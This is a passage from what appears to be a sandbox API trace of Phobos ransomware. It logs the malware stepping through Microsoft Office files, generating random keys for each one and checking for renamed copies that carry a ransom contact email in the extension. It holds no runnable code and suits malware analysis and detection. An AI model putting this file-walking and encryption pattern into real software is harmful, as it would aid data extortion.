office\\root\\office16\\1033\\lync_online.hxs")) returned 0x220 [0154.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.548] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.553] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=211) returned 1 [0154.553] CloseHandle (hObject=0x254) returned 1 [0154.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt")) returned 0x220 [0154.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.556] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.558] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=177848) returned 1 [0154.558] CloseHandle (hObject=0x254) returned 1 [0154.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapishellr.dll")) returned 0x220 [0154.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPISHELLR.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapishellr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.560] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.561] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1420) returned 1 [0154.561] CloseHandle (hObject=0x368) returned 1 [0154.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd")) returned 0x220 [0154.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.562] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=14944) returned 1 [0154.562] CloseHandle (hObject=0x368) returned 1 [0154.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mpxres.dll")) returned 0x220 [0154.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MPXRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mpxres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.563] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.564] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=272764) returned 1 [0154.564] CloseHandle (hObject=0x368) returned 1 [0154.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs")) returned 0x220 [0154.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.564] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=646) returned 1 [0154.564] CloseHandle (hObject=0x368) returned 1 [0154.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc")) returned 0x220 [0154.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.565] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.565] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=208) returned 1 [0154.565] CloseHandle (hObject=0x368) returned 1 [0154.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt")) returned 0x220 [0154.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.566] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.566] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.566] CloseHandle (hObject=0x368) returned 1 [0154.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk")) returned 0x220 [0154.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.567] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.567] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.567] CloseHandle (hObject=0x368) returned 1 [0154.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk")) returned 0x220 [0154.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.568] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.570] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1326184) returned 1 [0154.570] CloseHandle (hObject=0x250) returned 1 [0154.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msain.dll")) returned 0x220 [0154.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSAIN.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msain.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.570] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.570] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=37730) returned 1 [0154.571] CloseHandle (hObject=0x250) returned 1 [0154.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl")) returned 0x220 [0154.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.571] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotdintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotdintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.573] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24696) returned 1 [0154.573] CloseHandle (hObject=0x368) returned 1 [0154.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotdintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotdintl.dll")) returned 0x220 [0154.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotdintl.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotdintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotdintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotdintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.573] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotelemetryintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotelemetryintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.574] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45760) returned 1 [0154.574] CloseHandle (hObject=0x368) returned 1 [0154.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotelemetryintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotelemetryintl.dll")) returned 0x220 [0154.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotelemetryintl.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotelemetryintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotelemetryintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msotelemetryintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.574] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.596] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=184496) returned 1 [0154.596] CloseHandle (hObject=0x368) returned 1 [0154.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs")) returned 0x220 [0154.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.596] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.597] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=631) returned 1 [0154.597] CloseHandle (hObject=0x368) returned 1 [0154.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc")) returned 0x220 [0154.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.597] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.597] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=205) returned 1 [0154.598] CloseHandle (hObject=0x368) returned 1 [0154.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt")) returned 0x220 [0154.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.598] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.598] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.598] CloseHandle (hObject=0x368) returned 1 [0154.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 